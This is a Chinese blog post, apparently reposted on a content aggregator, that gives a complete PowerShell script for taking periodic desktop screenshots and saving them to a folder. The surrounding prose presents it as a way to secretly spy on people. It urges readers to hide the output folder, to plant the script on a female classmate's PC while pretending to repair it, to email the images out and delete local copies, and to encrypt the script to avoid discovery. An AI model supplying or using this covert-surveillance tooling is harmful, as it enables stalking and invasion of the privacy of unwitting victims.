1. 程式人生 > >PowerShell定時抓取螢幕影象

PowerShell定時抓取螢幕影象

     昨天的博文寫了定時記錄作業系統行為,其實說白了就是抓取了擊鍵的記錄和對應視窗的標題欄,而很多應用程式標題欄又包含當時記錄的檔案路徑和檔名,用這種方式可以大致記錄操作了哪些程式,打開了哪些檔案,以及敲擊了哪些按鍵。事實上這樣記錄作業系統的行為顯得相對單薄一點,因為記錄的內容不太形象,對於新手來說太過於隱晦了,對於人類來說,影象會比文字更加有利於使用者理解。當作業系統不方便裝螢幕記錄軟體,但又需要看已經登入使用者在幹什麼的時候,用PowerShell的指令碼來實現定時抓取影象的方式記錄操作,檢視影象就知道登陸使用者做了什麼,當然你存放圖片的目錄要隱蔽,不要讓使用者發現了為好。

     當然對於在學校計算機系的屌絲們,這個功能也可以用來了解自己的女神有什麼喜好了。什麼?咋把指令碼安裝到女神的電腦裡?咋把抓的圖片返回給你?拜託,這麼簡單的問題,還需要我幫你找答案麼?女神的電腦壞了,通常都會找一個熟悉電腦軟硬體的計算機系的童鞋來修的,修的時候悄悄動點手腳。圖片返回的問題呢,完全可以定時抓取,然後抓取一定數量之後打包發到指定郵箱,然後刪除本地圖片嘛。什麼?不知道PowerShell咋發郵件…你妹的,用System.Net.Mail.MailMessage元件呼叫SMTP傳送郵件你不會?我以前寫過類似文章的…好吧,送佛送到西,自己去看吧《

使用PowerShell通過Smtp傳送郵件》。還有就是寫的指令碼務必要加密,至於加密方式方法嘛,改天吧,改天專門寫一篇文章寫關於PowerShell指令碼加密,這種事情嘛,如果被女神發現鳥,那可是吃不了兜著走的事啊。還有出去別告訴別人,我給你出的這主意,還有隱私的東西,自己把握好度,如果警察蜀黍請你去喝茶了可就不好玩了。本故事純屬虛構,如有雷同純屬巧合,本人只提供創意,如果具體實施被女神打破頭,或者被警察蜀黍請去喝茶了,本人概不負任何法律責任哈。嘿嘿,不多扯了,先上今天的定時抓取螢幕影象的方法。

     其實方法不復雜,寫了一個抓取螢幕的函式,定時執行,將抓取的圖片存入指定位置,如果達到終止的時間,結束執行.程式碼不復雜,有看不懂的兄弟可以留言,我幫你解答。

接下來上程式碼:

        =====檔名:Get-TimedScreenshot.ps1=====
function Get-TimedScreenshot {
<#
    Author:fuhj(powershell#live.cn ,http://fuhaijun.com) 
    Takes screenshots at a regular interval and saves them to disk.
.PARAMETER Path
    Specifies the folder path.
.PARAMETER Interval
    Specifies the interval in
seconds between taking screenshots. .Parameter EndTime Specifies when the script should stop running in the format HH-MM .Example Get-TimedScreenshot -Path c:\temp\ -Interval 30 -EndTime 14:00 #> [CmdletBinding()] Param( [Parameter(Mandatory=$True)] [ValidateScript({Test-Path -Path $_ })] [String] $Path, [Parameter(Mandatory=$True)] [Int32] $Interval, [Parameter(Mandatory=$True)] [String] $EndTime ) #Define helper function that generates and saves screenshot Function Get-Screenshot { $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen $ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height $DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject) $DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size) $DrawingGraphics.Dispose() $ScreenshotObject.Save($FilePath) $ScreenshotObject.Dispose() } Try { #load required assembly Add-Type -Assembly System.Windows.Forms Do { #get the current time and build the filename from it $Time = (Get-Date) [String] $FileName = "$($Time.Month)" $FileName += '-' $FileName += "$($Time.Day)" $FileName += '-' $FileName += "$($Time.Year)" $FileName += '-' $FileName += "$($Time.Hour)" $FileName += '-' $FileName += "$($Time.Minute)" $FileName += '-' $FileName += "$($Time.Second)" $FileName += '.png' #use join-path to add path to filename [String] $FilePath = (Join-Path $Path $FileName) #run screenshot function Get-Screenshot Write-Verbose "Saved screenshot to $FilePath. Sleeping for $Interval seconds" Start-Sleep -Seconds $Interval } #note that this will run once regardless if the specified time as passed While ((Get-Date -Format HH:mm) -lt $EndTime) } Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage} }

執行方式,如下圖所示:

 image

執行效果,會在指定的目錄,按照時間間隔生成桌面抓圖,類似如下圖所示.

image

哥,只能幫你到這了!兄弟們好自為之吧!

作者: 付海軍
版權:本文版權歸作者所有
轉載:歡迎轉載,為了儲存作者的創作熱情,請按要求【轉載】,謝謝
要求:未經作者同意,必須保留此段宣告;必須在文章中給出原文連線且保證內容完整!否則必究法律責任!
個人網站: http://www.fuhaijun.com/

相關推薦

PowerShell定時螢幕影象

     昨天的博文寫了定時記錄作業系統行為,其實說白了就是抓取了擊鍵的記錄和對應視窗的標題欄,而很多應用程式標題欄又包含當時記錄的檔案路徑和檔名,用這種方式可以大致記錄操作了哪些程式,打開了哪些檔案,以及敲擊了哪些按鍵。事實上這樣記錄作業系統的行為顯得相對單薄一點,因為記錄的內容不太形象,對於新手來說太過於

windows 利用R定時貓眼專業版電影票房

1、在mysql建立資料庫,表2、網址貓眼專業版:http://piaofang.maoyan.com/dashboard電影票房資料鏈接:https://box.maoyan.com/promovie/api/box/second.json3、指令碼library(xml2

linux下使用crontab設定scrapy爬蟲定時資料

1. crontab設定定時執行程式 在我們的專案中,需要從入口網站上抓取新聞資料。由於網上的新聞資料更新的速率並不是太快,所以只需要設定每天執行一遍資料抓取即可。這樣也可以利用新聞上面的時間便籤,每次只抓取當天釋出的新聞,這樣就不會出現重複了。 首先我們已

Java 螢幕擷取,螢幕截圖

import java.awt.Desktop; import java.awt.Dimension; import java.awt.Rectangle; import java.awt.Robot; import java.awt.Toolkit; import java

ubuntu系統下螢幕

可以使用ffmpeg軟體進行抓屏 Linux framebuffer (fbdev)是一種獨立於硬體的影象抽象層,它用於在計算機螢幕上顯示影象,通常是在控制檯(環境)。它可以通過一個檔案裝置節點訪問,通常為:/dev/fb0  ffmpeg -f fbdev -i /de

視訊檔案按幀影象並儲存

一.原材料:        win10,opencv3.0,vs2013,test.MP4。只需要配置好opencv的環境就好,3.0可以直接用MP4型別的視訊資料。 二.實現功能:       1.顯示視訊的具體資訊,幀數,幀率,解析度等;       2.對視訊進行逐幀

Basler相機影象並儲存 Pylon

使用Pylon獲取相機圖片主要使用函式PylonDeviceGrabSingleFrame(PYLON_DEVICE_HANDLE hDev, size_t channel, void * pBuffer, size_t bufferSize, PylonGra

外賣訂單爬蟲 定時自動三大外賣平臺上商家訂單

這個程式是用來抓取外賣平臺(美團,餓了麼,百度)的商戶訂單開發,並不是一個通用庫,而是為這個特定場景進行開發的。 適用場景:餐飲企業擁有多家外賣門店,訂單量非常大,有對訂單進行資料分析的需求。 主要功能:每天定時啟動,抓取三大外賣平臺的訂單,轉成成exc

使用Python中的HTMLParser、cookielib和解析網頁、從HTML文件中提取連結、影象、文字、Cookies .

對搜尋引擎、檔案索引、文件轉換、資料檢索、站點備份或遷移等應用程式來說,經常用到對網頁(即HTML檔案)的解析處理。事實上,通過 Python語言提供的各種模組,我們無需藉助Web伺服器或者Web瀏覽器就能夠解析和處理HTML文件。本文上篇中,我們介紹了一個可以幫助簡化開啟

外賣訂單爬蟲 定時自動三大外賣平臺上商家訂單(美團,餓了麼,百度外賣)

這個程式是用來抓取外賣平臺(美團,餓了麼,百度)的商戶訂單開發,並不是一個通用庫,而是為這個 特定場景進行開發的。  適用場景:餐飲企業擁有多家外賣門店,訂單量非常大,有對訂單進行資料分析的需求。  主要功能:每天定時啟動,抓取三大外賣平臺的訂單,轉成成excel檔案,發郵

MFC 視窗或螢幕點陣圖 並儲存

 //複製到剪貼簿     void   toClipboard(CWnd   *   wnd,   BOOL   FullWnd)             {               CDC   dc;               if(FullWnd)        

吳裕雄--天生自然python學習筆記:python通過“任務計劃程式”實現定時自動下載或更新執行 PM2.5 資料程式資料

在 Windows 任務計劃程式中,設定每隔 30 分鐘自動抓取 PM2.5 資料,井儲存 在 SQLite 資料庫中 。     import sqlite3,ast,requests,os from bs4 import BeautifulSoup #cur_path=os

網卡icmp tcpdump

主從 tcpdump -n -i “網卡接口1或2” icmp 本文出自 “磚家博客” 博客,請務必保留此出處http://wsxxsl.blog.51cto.com/9085838/1924299網卡抓取icmp tcpdump

[Python爬蟲] 之十五:Selenium +phantomjs根據微信公眾號微信文章

頭部 drive lac 過程 標題 操作 函數 軟件測試 init   借助搜索微信搜索引擎進行抓取   抓取過程   1、首先在搜狗的微信搜索頁面測試一下,這樣能夠讓我們的思路更加清晰        在搜索引擎上使用微信公眾號英文名進行“搜公眾號&r

MySQL SQL慢查詢語句

mysql 索引 數據表 sql慢查詢 逗哥自動化 當MySQL服務器出現異常(慢),首先要考慮是否因,SQL語句引起數據庫慢,如果情況比較緊急,我們就要立刻 SHOW FULL PROCESSLIST; 去查看,但我建議大家使用-e參數,采用非交互的方式,因為這樣可以使用grep

用Python進行網頁

google 神奇 顯示 rss 遍歷 ecb data- 可用 appdata 引言   從網頁中提取信息的需求日益劇增,其重要性也越來越明顯。每隔幾周,我自己就想要到網頁上提取一些信息。比如上周我們考慮建立一個有關各種數據科學在線課程的歡迎程度和意見的索引。我們不僅需要

curl 圖片

product cep header cnblogs error codes head param arr /** * curl 抓取圖片 * @param $url * @return mixed */ public st

Mimiktaz本機密碼

pan leg div pass color nbsp col pri 密碼 Mimiktaz2.0以後的版本只需要兩條命令即可實現密碼的抓取 mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswo

一個站點的誕生02--用Scrapy數據

項目 selector 默認安裝 找不到 shang foo 術語 替換 產生 假設想抓數據,就須要有爬蟲程序,業內叫crawler或者spider。 有各種語言版本號的開源爬蟲。c++, Java, php,在github上搜一下,以"spider c++"為k

Java使用HtmlUnitjs渲染頁面

roo art 插件 println word tcs set webclient ble 需求: 需要采集js渲染的頁面,有些網站的頁面是js渲染的 實現: 基於HtmlUnit實現: public static void getAjaxPage() thro